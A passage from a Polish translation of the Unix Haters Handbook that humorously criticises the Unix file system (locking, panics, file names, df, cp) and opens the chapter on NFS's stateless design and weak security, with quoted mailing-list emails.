Po jakimś czasie problemów z takim podejściem, Berkeley wymyśliło koncepcję blokady doradcze [advisory locks]. Oto cytat z manualu flock(2) (nie wymyśliliśmy tego):

Blokady doradcze pozwalają współpracującym procesom na przeprowadzanie spójnych operacji na plikach, ale nie gwarantują spójności (np. procesy mogą dalej uzyskiwać dostęp do pliku bez używania blokad doradczych co prawdopodobnie skończy się niespójnościami).

AT&T, w międzyczasie, próbowało sprzedawać Unixa na rynku firm, gdzie wymagane było blokowanie rekordów. Wymyślili obowiązkowe blokowanie rekordów. Wszystko dobrze, jak dotąd – do SVR4, kiedy Sun i AT&T połączyli dwa różne podejścia w jeden, opasły kernel.

Date: Thu, 17 May 90 22:07:20 PDTFrom: Michael Tiemann <[email protected]>To: UNIX-HATERSSubject: New Unix brain damage discovered

Siedzę obok kolejnej ofiary Unixa.Byliśmy przyjaciółmi od lat, i razem dzieliliśmy wiele kłótni o Najgorszy

System Operacyjny Świata (Unix, dla Unixowych świrów). Jednym z jego ulubionych powodów do nienawiści był [rzekomy] brak blokowania plików. Zawsze mówił o tym jak pod prawdziwymi systemami operacyjnymi (ITS i MULTICS, między innymi) nikt nie musiał się martwić o gubienie poczty, plików, uruchamianie fsck po każdym resecie... drobne niewygody które Unixowe świry cierpią z zapałem samobiczujących się mnichów.

Z powodów o których nie będę raczej wspominał, próbował naprawić kawałek kodu który działa pod Unixem. Lata [nitrous] i Przyjemnej Śmierci miały niewielki wpływ na jego umysł w porównaniu z szokiem, kiedy odkrył że Unixowi nie brakuje blokad. Zamiast nie mieć mechanizmu blokowania, MA DWA!!

Oczywiście oba są tak niezwiązane ze sobą że nie wiedzą o swoim istnieniu. Ale ponad wytrzymałość jest to, że TRZECIE wywołanie systemowe jest konieczne aby się dowiedzieć który z dwóch mechanizmów blokowania (albo oba!) jest stosowany.

Michael

To nie oznacza, oczywiście, że nie znajdziesz plików blokad w swoim systemie Unixowym. Zależność od plików blokad jest wbudowana w obecne implementacje UUCP i cu. Co więcej, pliki blokad mają mocną historię w Unixie, tak że wielu programistów dzisiaj ich używa, nie patrząc na problemy z nimi.

Tylko najdoskonalsze dyski się nadają

Powszechnym problemem z Unixem jest doskonałość: podczas gdy nie oferuje żadnej w sobie, system wymaga perfekcji od sprzętu na którym działa. Tak się dzieje ponieważ programy Unixowe zwykle nie sprawdzają błędów sprzętowych – ślepo idą dalej kiedy rzeczy zaczynają się psuć, dopóki nie potkną się i nie spanikują. (Niewielu ludzi widzi takie

176

Page 177: Unix Haters Handbook

zachowanie w dzisiejszych czasach, ponieważ większość dysków SCSI wie jak wykryć i odmapować bloki zaczynające się psuć).

Słownik definiuje panikę jako „nagły wszechogarniający strach, zwłaszcza nagłe bezpodstawne przerażenie któremu często towarzyszy masowa ucieczka”. To całkiem dobry opis paniki Unixa: komputer wypisuje słowo „panic” na konsoli systemowej i zatrzymuje się, rozwalając po drodze system plików. Poniżej zamieszczamy listę bardziej pouczających(?) komunikatów:

Wiadomość Znaczeniepanic: fsfull System plików pełny (błąd zapisu), ale

Unix nie wie dlaczego.panic: fssleep fssleep() został wywołany bez widocznego

powodu.panic: alloccgblk: cyl groups corrupted

Unix nie może określić żądanego cylindra dyskowego z numeru bloku.

panic: DIRBLKSIZ > fsize Katalog jest mniejszy niż minimalny rozmiar katalogu, czy coś takiego.

dev = 0xXX, block = NN, fs=ufs panic: free block: freeing free block

Unix próbował zwolnić blok który już był na liście wolnych bloków (zdziwiłbyś się jak często się to zdarza).

panic: direnter: target directory link count

Unix przypadkowo zmniejszył licznik linków do katalogu do zera albo liczby ujemnej.

Wymaganie idealnego dysku jest najbardziej ewidentne w ostatnich dwóch komunikatach. W obu przypadkach UFS czyta blok danych z dysku, przeprowadza na nim operację (jak zmniejszenie numeru zapisanego w strukturze) i otrzymuje nonsensowną wartość. Co robić? Unix może przerwać operację (zwracając błąd użytkownikowi). Unix może zadeklarować że urządzenie jest „złe” i je odmontować. Unix może nawet spróbować „naprawić” wartość (zrobienie czegoś takiego ma sens). Unix przyjmuje czwartą, najłatwiejszą drogę: poddaje się i zmusza cię do poskładania wszystkiego do kupy. (W końcu za co płaci się adminom?)

W ostatnich latach system plików Unixa wygląda na trochę bardziej tolerancyjny względem nieszczęść dyskowych po prostu dlatego, że współczesne dyski zawierają kontrolery które tworzą iluzję doskonałych twardych dysków. (Rzeczywiście, kiedy kontroler dysku we współczesnym dysku SCSI wykryje zły blok, kopiuje dane do innego bloku gdzieś na dysku a następnie przepisuje tablicę alokacji. Unix nigdy nie dowie się co się stało). Ale jak mówił Seymour Cray, „Nie możesz udawać tego czego nie masz”. Wcześniej czy później dysk ulegnie awarii, a wtedy ukaże się piękno UFS-u.

Nie dotykaj tego ukośnika!

UFS pozwala na wszystkie znaki w nazwach z wyjątkiem ukośnika (/) i znaku ASCII NUL. (Niektóre wersje Unixa pozwalają na znaki ASCII z 8 bitem ustawionym. Inne nie).

Ta funkcja jest świetna – zwłaszcza w wersjach Unixa bazujących na Berkeley Fast File System, który pozwala na nazwy plików dłuższe niż 14 znaków. To oznacza że możesz konstruować łatwe do zwrozumienia nazwy plików jak te:

1992 Sales ReportPersonnel File: Verne, Jules

177

Page 178: Unix Haters Handbook

rt005mfkbgkw0.cp

Niestety, reszta Unixa nie jest tak tolerancyjna. Z powyższych nazw plików tylko rt005mfkbgkw0.cp będzie działać z większością Unixowych programów użytkowych (które ogólnie nie tolerują spacji w nazwach plików).

Ale nie bój się: Unix pozwoli ci na nazwy plików zawierające znaki kontrolne i symbole graficzne. (Niektóre wersje pozwolą nawet na tworzenie plików bez żadnej nazwy). To może być świetna funkcja bezpieczeństwa – zwłaszcza jeśli na swojej klawiaturze masz znaki kontrolne których inni nie mają. To prawda: możesz tworzyć pliki o nazwach do których inni ludzie nie będą mieli dostępu. Jest to jakiś pomysł z powodu braku porządnych zabezpieczeń dostępu w reszcie Unixa.

Przypomnijmy, że Unix ma jedno wielkie ograniczenie nazw plików: nie mogą nigdy zawierać magicznego ukośnika (/), ponieważ kernel Unixa używa ukośników do zaznaczania podkatalogów. Aby wymusić to wymaganie, kernel Unixa po prostu nie pozwoli na utworzenie pliku z ukośnikiem w nazwie. (Chociaż możesz mieć nazwę pliku z ustawionym bitem 0200, co na niektórych wersjach Unixa wygląda jak ukośnik).

Nigdy? Cóż, prawie nigdy.

Date: Mon, 8 Jan 90 18:41:57 PSTFrom: [email protected] (Steve Sekiguchi)Subject: Info-Mac Digest V8 #35

Mam tutaj raczej trudny problem. Mamy Gator Box na którym uruchomiona jest konwersja NFS/AFP. Używamy tego aby połączyć Macintoshe i Suny. Z Sunem jako AppleShareFile serwerem. Wszystko świetnie działa!

Teraz jest problem. Macintoshe mogą tworzyć pliki na serwerze plików Suna (Unixie) mające „/” w nazwie pliku. To jest świetne dopóki nie próbujesz odzyskać któregoś z tych plików ze swoich taśm „dump”. „restore” wywala się (zrzuca core) kiedy dochodzi do pliku z „/” w nazwie. Z tego co wiem taśma „dump” jest dobra.

Czy ktoś ma jakiś pomysł jak odzyskać te pliki z backupu na taśmie?

Steven Sekiguchi Wind River Systemssun!wrs!steve, [email protected] Emeryville CA, 94608

Najwyraźniej serwer NFS Suna z około 1990 roku (który działa wewnątrz kernela) przyjmuje że klient nigdy nie wyśle nazwy pliku z ukośnikiem i tym samym nie zawraca sobie głowy sprawdzaniem nielegalnych znaków. Zdziwiliśmy się że te pliki w ogóle zostały zapisane przez dump na taśmę. (A może wcale nie zostały? W końcu nie ma możliwości sprawdzenia.)

Przenoszenie katalogów

Historycznie, Unix nie miał narzędzi dla zarządzania rekursywnymi katalogami plików. To raczej dziwne, zwłaszcza że Unix (fałszywie) chełpi się wynalezieniem hierarchicznego systemu plików. Na przykład od ponad dekady Unix nie ma standardowego programu do przenoszenia katalogu z jednego urządzenia (lub partycji) na inne. Chociaż niektóre wersje Unixa mają komendę mvdir, od lat standardowym sposobem na przenoszenie katalogów była komenda cp. Rzeczywiście, wiele osób nadal używa cp do tego celu (nawet pomimo tego że program ten nie zachowuje dat modyfikacji, autorów ani nawet atrybutów pliku). Ale cp możę wybuchnąć ci w twarz.

178

Page 179: Unix Haters Handbook

Date: Mon, 14 Sep 92 23:46:03 EDTFrom: Alan Bawden <[email protected]>To: UNIX-HATERSSubject: what else?

Chcieliście kiedyś skopiować całą hierarchię plików do innego miejsca? Chciałem to zrobić ostatnio i znalazłem to w manualu do komendy cp(1):

NAZWAcp - kopiuj pliki…cp -rR [ -ip ] katalog1 katalog2…-r-R Rekursywne. Jeśli któryś z plików źródłowych jest katalogiem, kopiuje katalog razem z jego plikami (włącznie ze wszystkimi podkatalogami i ich plikami), docelowo musi być wskazany katalog.…

Brzmi jak to o co mi chodziło, prawda? (W tym momencie połowa moich czytelników powinna krzyczeć „NIE! NIE OTWIERAJ TYCH DRZWI! TAM SIĘ KRYJE UFOL!”)

Więc wpisałem tą komendę. Hmm... Wyglądało że zajmie to sporo czasu. Wtedy przypomniałem sobie horror z dalszej części manualu cp(1):

BŁĘDY

cp(1) kopiuje zawartość plików wskazywanych przez linki symboliczne. Nie kopiuje samych linków symbolicznych. To może prowadzić do niespójności po replikacji hierarchii katalogów. Nazwy plików które były zlinkowane w oryginalnej hierarchii nie są zlinkowane w replice...

To jest raczej niedopowiedzenie co do wielkości i ważności błędu. Problemem nie jest jakaś „niespójność” – w praktyce kopia może być nieskończenie wielka jeśli jest jakiekolwiek zapętlenie linków symbolicznych w źródłowej hierarchii.

Rozwiązanie, jak powie ci każdy sezonowany weteran Unixa, to użycie tar-a jeśli chcesz skopiować hierarchię katalogów. Bez żartów. Proste i eleganckie, prawda?

tar oznacza „tape archiver”, jest jednym ze „standardowych” programów Unixowych do tworzenia backupów twardego dysku na taśmie. Wczesne wersje nie mogły zapisywać backupów dłuższych niż jedna taśma.

110% użycia dysku?

System plików Unixa zwalnia w miarę zapełniania dysku. Zapchaj więcej niż 90% dysku, a twój komputer będzie bez końca mielił dyskiem.

Rozwiązanie Unixa bierze przykład z każdego dobrego polityka – podrabia numery. Unixowa komenda df szachruje tak że dysk zapełniony w 90% jest raportowany jako „100%”, 80% to „91%” i tak dalej. Więc możesz mieć 100 MB wolne na swoim 1000 MB dysku, ale jeśli spróbujesz zapisać plik, Unix powie że system plików jest zapełniony. 100

179

Page 180: Unix Haters Handbook

MB to sporo miejsca dla komputera klasy PC [w 1994, owszem]. Dla Unixa to tylko koło zapasowe.

Wyobraź sobie całe zmarnowane miejsce na dyskach milionów systemów Unixowych na całym świecie. Dlaczego masz myśleć skoro możesz kupić większy dysk? Ocenia się że na świecie 100.000.000.000.000 bajtów [ok. 90 TB, teraz na pewno znacznie więcej] miejsca na dysku jest zmarnowane z powodu Unixa. Mógłbyś prawdopodobnie zmieścić kopię lepszego systemu operacyjnego na zmarnowanym miejscu w każdym systemie Unixowym.

[Unix zachowuje się tak samo teraz – np. we FreeBSD komenda df nadal pokazuje zafałszowane liczby, a część dysku przepada bez śladu. Pocieszmy się, że Windows (grr) na każdej partycji dyskowej rezerwuje sobie 10% miejsca na „kosz”, a większość użytkowników o tym nie wie. Na mojej 100 GB partycji od razu chciał zabrać 10 GB... ]

Trochę inaczej jest jeśli jesteś superuserem – albo demonem działającym jako root (co zdarza się najczęściej). W tym przypadku Unix pozwala ci zapisywać pliku, nawet pomimo zabicia wydajności. Więc jeśli masz taki dysk ze 100 MB wolnymi i superuser próbuje zapisać 50 MB nowych plików na dysku podnosząc zajęte miejsce do 950 MB, dysk będzie zajęty w „105%”.

Dziwne, co? To tak jakby ktoś ustawiał sobie zegarek pięć minut naprzód i przychodził pięć minut później na każde spotkanie, ponieważ wie że jego zegarek się spieszy.

Nie zapomnij użyć write(2)

Większość programów Unixowych nie sprawdza kodu wyniku wywołania systemowego write(2) – po prostu przyjmują że jest wystarczająco dużo miejsca na dysku i ślepo zapisują. Założenie jest takie, że skoro plik może być otwarty, to wszystkie jego bajty mogą być zapisane.

Lenny Foner wyjaśnia to tak:

Date: Mon, 13 Nov 89 23:20:51 ESTFrom: [email protected] (Leonard N. Foner)To: UNIX-HATERSSubject: Geez…

Po prostu kocham sposób, w jaki system operacyjny który ma naprawdę jest słabo zamaskowanym pozorem, nie całkiem potrafi poradzić sobie z utrzymaniem funkcjonowania swojego składnika – systemu plików. Szczególnie zafascynowany jestem pomysłem, że w miarę zapełniania systemu plików, psuje coraz więcej danych. Myślę że to jak „soft clipping” [?] we wzmacniaczu audio: zamiast ilości użytecznych danych które możesz zapisać i nagłego uderzenia w ścianę, powoli staje się coraz trudniejsze zapisanie czegokolwiek w ogóle... Widziałem ponad 10 wiadomości od różnych ludzi używających Sunów, wszyscy narzekali na ogromną głupotę systemu plików.

To musi być blisko związane z powodem, dla którego ‘mv’ i inne rzeczy próbują czytać komendy shellowe z plików zamiast je po prostu przenosić, i dlaczego komendy shellowe pochodzące z plików są zgodne z danymi które były w innych plikach ale już nie ma ich w plikach dotkniętych przez ‘mv’...

Wydajność

180

Page 181: Unix Haters Handbook

Więc dlaczego zawracać sobie tym wszystkim głowę? Unixowe świry mają jedną odpowiedź na to pytanie: wydajność. Chcą wierzyć że system plików Unixa jest najszybszy i ma największą wydajność ze wszystkich kiedykolwiek napisanych systemów plików.

Niestety, są w błędzie. Nieważne czy masz oryginalny UFS czy nowy i ulepszony FFS, system plików Unixa ma wiele błędów projektowych które powstrzymują go od osiągnięcia wysokiej wydajności.

Niestety, cały leżący u podstaw projekt systemu plików Unixa – katalogi wirtualnie wolne od zawartości, i-węzły z brakującymi nazwami plików i pliki rozprzestrzeniające swoją zawartość na horyzoncie – umieszcza ostateczny limit efektywności systemu zgodnego z POSIX-em. Badacze eksperymentujący ze Sprite i innymi systemami plików mówią o wydajności większej o 50% do 80% od UFS, FFS albo jakiegoś innego systemu plików implementującego standardy Unixa. Ponieważ te systemy plików ich nie implementują, pewnie pozostaną w laboratorium.

Date: Tue, 7 May 1991 10:22:23 PDTFrom: Stanley’s Tool Works <[email protected]>Subject: How do you spell “efficient?”To: UNIX-HATERS

Rozważcie, że Unix został zbudowany z pomysłem przetwarzania plików. Rozważcie że Unixowe świry spędzają niezwykłą ilość czasu na mikro-optymalizacji kodu. Rozważcie jakie tyrady wygłaszają i jak wściekają się na samo wspomnienie o nieefektywnych narzędziach jak garbage collector. Następnie rozważcie to, z zapowiedzi ostatniej rozmowy tutaj:

..zaimplementowaliśmy prototyp opartego na strukturach dziennika systemu plików zwanego Sprite LFS; wyprzedza obecne systemy plików Unixa przy dużej ilości zapisów małych plików przy jednocześnie takiej samej jak Unix lub lepszej wydajności dla odczytów i dużych zapisów. Nawet kiedy uwzględni się czyszczenie, Sprite LFS może używać 70% przepustowości dysku do zapisu, podczas gdy systemy Unixowe typowo mogą użyć tylko 5-10%.

- smL

Więc dlaczego ludzie wierzą że system plików Unixa ma wysoką wydajność? Ponieważ Berkeley nazwało swój system plików „Fast File System”. Cóż, był szybszy niż oryginalny system plików napisany przez Thompsona i Ritchiego.

181

Page 182: Unix Haters Handbook

Rozdział 14: NFS

Nightmare File System[Koszmarny system plików]

„N” w NFS prawdopodobnie oznacza „Not”, „Need” albo może „Nightmare”.

- Henry Spencer

W środku lat 80., Sun Microsystems stworzył system pozwalający komputerom na dzielenie plików w sieci. Nazwali go Network File System – bardziej znany jako NFS – system ten był w dużym stopniu odpowiedzialny za sukces Suna jako producenta komputerów. NFS pozwalał Sunowi sprzedawać „bezdyskowe” stacje które przechowywały pliki na większych „serwerach plików”, wszystko to umożliwiała magiczna technologia Xeroxa – Ethernet. Kiedy dyski stały się tańsze, NFS nadal miał zalety ponieważ ułatwiał użytkownikom dzielenie plików.

Dzisiaj ceny pamięci masowej dramatycznie spadły, ale NFS jest nadal popularny: pozwala ludziom przechowywać ich osobiste pliki w jednym, centralnym miejscu – sieciowym serwerze plików – i mieć dostęp do nich z każdego miejsca w sieci lokalnej. NFS wytworzył sobie szczegółową mitologię samego siebie:

- Serwery plików NFS upraszczają zarządzanie siecią ponieważ tylko jeden komputer musi być regularnie backupowany na taśmę.

- NFS pozwala „komputerom klientów” montować dyski na serwerze jakby byli do nich fizycznie podłączeniu. Sieć znika i tuzin albo setka indywidualnych stacji wygląda dla użytkownika jak jedna wielka wielodostępna maszyna.

- NFS jest „niezależny od systemu operacyjnego”. To jest najbardziej znaczące, zwłaszcza że został zaprojektowany przez programistów systemów Unixowych, rozwinięty dla Unixa i nigdy nie testowany na systemie nie-Unixowym przez kilka lat po początkowej wersji. Pomimo wszystko świadczy o mądrości programistów z Sun Microsystems że protokół NFS nie ma nic specyficznego z Unixa: każdy komputer może być serwerem albo klientem NFS. Kilka firm oferuje klienty NFS dla IBM PC i Apple Macintosh, najwyraźniej potwierdzając to stwierdzenie.

- Użytkownicy NFS nigdy nie muszą logować się na serwer; wystarcza tylko stacja robocza. Zdalne dyski są automatycznie montowane w razie potrzeby, a dostęp do plików jest przezroczysty. Alternatywnie stacje mogą być ustawione na montowanie dysków serwera przy starcie.

Jednak praktyka rzadko zgadza się z teorią kiedy Nightmare File System działa.

Nie całkiem serwisowalny

NFS oparty jest na koncepcji „magic cookie”. Każdy plik i katalog na serwerze plików jest reprezentowany przez magic cookie. Aby odczytać plik, wysyłasz do serwera plików pakiet zawierający magic cookie pliku i zakres bajtów które chcesz odczytać. Serwer plików odsyła ci z powrotem pakiet z bajtami. Podobnie, aby odczytać zawartość katalogi, wysyłasz

Page 183: Unix Haters Handbook

do serwera magic cookie katalogu. Serwer odsyła ci listę plików w zdalnym katalogu i magic cookie dla każdego pliku znajdującego się w zdalnym katalogu.

Aby rozpocząć cały proces, potrzebujesz magic cookie do katalogu głównego zdalnego systemu. NFS używa do tego oddzielnego protokołu zwanego MOUNT. Wyślij demonowi mount serwera plików nazwę katalogu jaki chcesz zamontować, a odeśle ci magic cookie dla tego katalogu.

Według projektu, NFS jest bezstanowy i bezpołączeniowy. W praktyce wcale taki nie jest. Konflikt pomiędzy projektem a implementacją jest źródłem większości problemów z NFS-em.

„Bezpołączeniowość” oznacza że program na serwerze nie utrzymuje połączenia ze wszystkimi klientami. Zamiast tego NFS używa protokołu internetowego UDP do transmisji informacji pomiędzy klientem a serwerem. Ludzie którzy znają się na protokołach sieciowych wiedzą że skrót UDP oznacza „Unreliable Datagram Protocol” [Zawodny protokół datagramów]. Tak jest ponieważ UDP nie gwarantuje dostarczenia pakietów. Ale to nie jest ważne: jeśli odpowiedź na żądanie nie zostanie otrzymana, klient NFS po prostu czeka kilka milisekund i ponownie wysyła żądanie.

„Bezstanowość” oznacza że wszystkie informacje jakich klient potrzebuje do zamontowania zdalnego systemu są przechowywane na kliencie, zamiast przechowywania dodatkowych informacji na serwerze. Kiedy magic cookie zostanie raz otrzymany dla pliku, będzie ważne nawet jeśli serwer zostanie wyłączony i ponownie uruchomiony, tak długo jak plik nadal istnieje i nie dokonani większych zmian w konfiguracji serwera.

Sun chce żebyśmy wierzyli że zaletą bezpołączeniowego i bezstanowego protokołu jest to, że klienci mogą nadal używać sieciowego serwera plików nawet jeśli ten serwer padnie i zostanie zresetowany ponieważ nie ma połączenia które musi być na nowo nawiązane, i cała informacja o stanie odnosząca się do zdalnego montowania jest przechowywana na kliencie. Faktycznie, to była zaleta tylko dla inżynierów Suna, którzy nie musieli pisać dodatkowego kodu do bezbolesnej obsługi padów i restartów klientów i serwera. To było ważne we wczesnych dniach Suna, kiedy oba rodzaje padów często się zdarzały.

Jest tylko jeden problem z bezpołączeniowym i bezstanowym systemem: nie działa. Systemy plików, ze swojej natury, mają stan. Można tylko raz skasować plik, potem już go nie ma. Dlatego jeśli zajrzysz do wewnątrz kodu NFS, zobaczysz mnóstwo kombinacji i prowizorek – wszystkie zaprojektowane aby narzucić stan bezstanowemu protokołowi.

Zepsute cookie

W ciągu lat, Sun odkrył wiele przypadków w których NFS się wywala. Zamiast fundamentalnej przebudowy NFS, wszystko co Sun zrobił to grzebanina w nim.

Zobaczmy jak model NFS wywala się w kilku powszechnych przypadkach:

Przykład #1: NFS jest bezstanowy, ale wiele programów zaprojektowanych dla systemów Unixowych wymaga blokowania rekordów dla zapewnienia spójności bazy danych.Kombinowane rozwiązanie NFS #1: Sun wymyślił sieciowy protokół blokowania i demona blokującego lockd. Ten system sieciowego blokowania ma wszystkie problemy związane ze stanem dla uniknięcia których NFS został zaprojektowany.Dlaczego kombinacja nie działa: Blokady mogą być utracone jeśli serwer padnie. W efekcie złożona procedura restartu po padzie jest potrzebna dla odtworzenia stanu. Oczywiście pierwszym oryginalnym powodem dla którego

183

Page 184: Unix Haters Handbook

NFS jest bezstanowy jest ominięcie potrzeby takich procedur restartu. Zamiast chować tą złożoność w programie lockd, gdzie jest rzadko testowana i może pomóc jedynie w blokowaniu, mogłaby zostać włączona do głównego protokołu, porządnie zdebuggowana i udostępniona wszystkim programom.

Przykład #2: NFS jest oparty na UDP; jeśli klient nie dostanie odpowiedzi na żądanie, klient ponownie wysyła żądanie dopóki nie dostanie odpowiedzi. Jeśli serwer zajmuje się czymś pożerającym czas dla jednego klienta, wszyscy inni klienci którzy chcą obsługi będą kontynuować dobijanie się do serwera podwajając i potrajając żądania NFS, zamiast cierpliwie ustawić się w kolejce i czekać na odpowiedź.Kombinowane rozwiązanie NFS #2: Kiedy klient NFS nie dostanie odpowiedzi do serwera, wycofuje się i czeka kilka milisekund zanim zapyta po raz drugi. Jeśli nie dostanie drugiej odpowiedzi, czeka dwa razy dłużej. Potem cztery razy dłużej i tak dalej.Dlaczego kombinacja nie działa: Problem jest taki że ta strategia musi być dostrojona do każdego indywidualnego serwera NFS i każdej sieci. Najczęściej to dostrojenie nie jest przeprowadzane. Opóźnienia kumulują się. Wydajność spada, potem wszystko się wlecze. Ewentualnie sysadmin narzeka i firma kupuje szybszy LAN albo linię dzierżawioną albo koncentrator sieciowy, myśląc że wyrzucanie pieniędzy na problem rozwiąże go.

Przykład #3: Jeżeli skasujesz plik w Unixie który jest nadal otwarty, nazwa pliku zostaje usunięta z katalogu, ale bloki dyskowe przyporządkowane do pliku nie są kasowane dopóki plik nie zostanie zamknięty. Ta toporna kombinacja pozwala programom na tworzenie plików tymczasowych do których inne programy nie mają dostępu. (To drugi sposób używany przez Unixa do tworzenia plików tymczasowych; inna technika to użycie funkcji mktmp() i utworzenie pliku tymczasowego w katalogu /tmp który ma ID procesu w nazwie pliku. Zdecydowanie która metoda jest toporniejsza pozostawiamy jako ćwiczenie dla czytelnika). Ale ta kombinacja nie działa w NFS-ie. Bezstanowy protokół nie wie że plik jest „otwarty” – kiedy zostaje skasowany, już go nie ma.Kombinowane rozwiązanie NFS #3: Kiedy klient NFS kasuje plik który jest otwarty, tak naprawdę przemianowuje go na szaloną nazwę typu „.nfs0003234320”, która z powodu wiodącej kropki, nie pokazuje się w normalnym listowaniu plików. Kiedy plik jest zamknięty przez klienta, klient wysyła komendę Delete-File aby skasować NFS-owy plik z kropką.Dlaczego kombinacja nie działa: Jeśli klient padnie, plik z kropką nigdy nie zostanie skasowany. W efekcie serwery NFS muszą uruchamiać nocne „sprzątające” skrypty shellowe które szukają wszystkich plików z nazwami typu „.nfs0003234320” które są starsze niż kilka dni i automatycznie je kasują. Dlatego większość systemów Unixowych nagle zatrzymuje się o 2:00 nad ranem – kręcą swoimi dyskami uruchamiając finda. I lepiej nie jedź na wakacje z działającym programem mail(1) jeśli chcesz żeby twoja poczta była kiedy wrócisz (to nie żart!).

Więc pomimo tego, że NFS buduje swoją reputację jako „bezstanowy” system plików, wszystko to wielkie kłamstwo. Serwer jest wypełniony stanem. Każdy proces klienta ma stan. Tylko protokół NFS jest bezstanowy. I każda rażąca kombinacja która stała się częścią

184

Page 185: Unix Haters Handbook

„standardu” NFS jest próbą ukrycia tego kłamstwa, nadania mu połysku i próbą pokazania, że wcale nie jest takie złe.

Brak zabezpieczeń plików

Włączenie twojego komputera do sieci oznacza dla każdego pryszczatego 10-letniego komputerowego crackera potencjalną możliwość przeczytania twoich listów miłosnych, wstawienia fałszywych przecinków do kodu źródłowego albo nawet wysłanie listu z rezygnacją do twojego szefa. Powinieneś się upewnić że twój sieciowy system plików ma wbudowane zabezpieczenia przeciwdziałające tego rodzaju atakom.

Niestety, NFS nie został zaprojektowany dla bezpieczeństwa. Faktem jest, że protokół nie ma żadnych. Jeśli dasz serwerowi NFS właściwe dojście do pliku, serwer pozwoli ci dojść do jego serca. Nie bój się: serwer nie może nawet zapisać adresu sieciowego stacji która wyrządziła szkodę.

Projekt Athena z MIT-u zamierzał dodać zabezpieczenia do NFS używając sieciowego systemu zabezpieczeń nazwanego Kerberos. Zgodnie ze swoją nazwą, hybrydowy system jest jak prawdziwy pies, co stwierdził Alan Bawden:

Date: Thu, 31 Jan 91 12:49:31 ESTFrom: Alan Bawden <[email protected]>To: UNIX-HATERSSubject: Wizards and Kerberos

Czy nie jest piękne, że kiedy idziesz do Unixowego świra po poradę, nigdy nie powie ci wszystkiego co powienieś wiedzieć? Zamiast tego musisz wracać do niego kilka razy tak że może uzyskać potrzebne informacje z błędów jakie ty musiałeś popełnić.

Weźmy taki przypadek: kiedy zacząłem używać komputerów z Unixem w LCS stwierdziłem że nie mam dostępu do modyfikowania zdalnych plików przez NFS. Dobrze poinformowani ludzie poinformowali mnie że muszę odwiedzić Wielkiego Czarodzieja, który doda moją nazwę i hasło do bazy danych „Kerberos”. Tak zrobiłem. Wielki Czarodziej powiedział mi to co wiedziałem: od teraz gdziekolwiek się zaloguję będę miał automatycznie odpowiednie przywileje sieciowe.

Więc kiedy spróbowałem po raz pierwszy, nie działało. Wróciłem do znawcy Unixa aby to wyjaśnić. No tak, zapomniałem powiedzieć że w celu wykorzystania przywilejów Kerberosa trzeba uruchomić program nfsauth.

OK., wyedytowałem swój plik .login aby uruchamiał nfsauth. Jestem wkurzony że nfsauth wymaga ode mnie żebym wypisał nazwy wszystkich serwerów NFS których planuję używać. Kolejną dziwną rzeczą w nfsauth jest to, że nie uruchamia się raz, ale wisi ciągle w tle dopóki się nie wylogujesz. Najwyraźniej musi odnawiać pozwolenia dostępu co kilka minut albo coś takiego. Konsekwencje nie są natychmiastowo oczywiste, ale wszystko wyglądało na działające, więc wróciłem do pracy.

Minęło osiem godzin.Czas się pakować i wracać do domu, więc próbowałem zapisać swoje pliki w

sieci. Brak dostępu. Cholera. Ale nie muszę szukać Unixowego świra ponieważ jako część ustawiania bazy danych Kerberos ostrzegł mnie że moje przywileje Kerberos wygasną za osiem godzin. Mówił nawet że powinienem uruchomić program kinit aby je odnowić. Więc uruchomiłem kinit, wpisałem swoją nazwę i hasło jeszcze raz.

185

Page 186: Unix Haters Handbook

Ale Unix nadal nie pozwalał mi zapisać moich plików z powrotem. Rozejrzałem się trochę i stwierdziłem że problem jest taki, że kiedy twoje uprawnienia Kerberos wygasną, nfsauth wywala się. OK., uruchomiłem inny nfsauth, jeszcze raz nakarmiłem go nazwami serwerów NFS jakich używam. Teraz mogłem zapisać swoje pliki z powrotem.

Cóż, wygląda na to że skoro prawie zawsze pracuję dłużej niż osiem godzin, to stanie się rutyną. Moi towarzysze niedoli w LCS Unixlandzie zapewnili mnie że właśnie tak to działa i oni tak to robią. Cóż, zapytałem, dlaczego nie naprawić nfsauth żeby zamiast wywalać się widział i czekał na nowe uprawnienia Kerberos? Niestety, nie da się tego zrobić. Wygląda na to że nikt nie może zlokalizować źródeł nfsauth.

Lista eksportów

NFS nie mógłby być sprzedany gdyby wyglądał jak system nie oferujący żadnego bezpieczeństwa, więc twórcy dali mu pozory bezpieczeństwa bez zagłębiania się w formalności implementacji bezpiecznego protokołu.

Przypomnijmy, że jeśli nie dasz serwerowi NFS magic cookie, nie możesz mazać w pliku. Tak więc w teorii NFS poprzez kontrolowanie dostępu do cookies, kontrolujesz dostęp do plików.

Aby uzyskać magic cookie dla katalogu głównego systemu plików, musisz zamontować system plików. I tutaj wchodzi „bezpieczeństwo”. Specjalny plik na serwerze nazwany /etc/exports zawiera listę eksportowanych systemów plików i komputerów których systemy plików mogą być eksportowane.

Niestety, nic nie zapobiega zgadywaniu magic cookies przez bandyckie programy. W praktyce nie tak trudno je zgadnąć. Jeśli nie jesteś na liście eksportów serwera NFS, przedłuża to czas włamania się do serwera z kilku sekund do kilku godzin. Nie więcej. I ponieważ serwer jest bezstanowy, kiedy cookie zostanie raz zgadnięte (albo prawnie otrzymane) jest dobre na zawsze.

W typowym zabezpieczonym przez firewall środowisku sieciowym, dużym ryzykiem bezpieczeństwa NFS-u nie jest ryzyko ataku z zewnątrz – ale ryzyko że ludzie wewnątrz z autoryzowanym dostępem do serwera plików mogą użyć tego dostępu do używania twoich plików tak samo jak własnych.

Ponieważ NFS jest bezstanowy, serwer NFS nie ma koncepcji „logowania się”. Jasne, logujesz się na swoją stację, ale serwer NFS nie wie o tym. Tak więc za każdym razem kiedy wysyłasz magic cookie do serwera NFS, w celu odczytu lub zapisu pliku, mówisz także serwerowi jaki jest twój numer użytkownika. Chcesz przeczytać pliki Cześka? Zmień swój UID aby być Cześkiem i przeczytaj sobie. W końcu trywialne jest przestawić większość stacji w tryb single-user. Miłą rzeczą w NFS-ie jest to, że kiedy złamiesz zabezpieczenia stacji, jednocześnie złamałeś zabezpieczenia serwera.

Nie chcesz się bawić w przestawianie stacji w tryb single-user? Nie ma problemu! Możesz uruchomić program na poziomie użytkownika wysyłający żądania do serwera NFS – i mieć dostęp do wszystkich plików – po prostu pisząc 500-liniowy program w C albo pobierając kopię z archiwów sieciowych.

Ale to nie koniec.Ponieważ wykuwanie pakietów jest tak proste, wiele serwerów NFS jest

skonfigurowanych aby zapobiegać superuserowi w sieci. Każde żądanie superusera w sieci jest automatycznie mapowana do użytkownika „nobody”, który nie ma uprawnień.

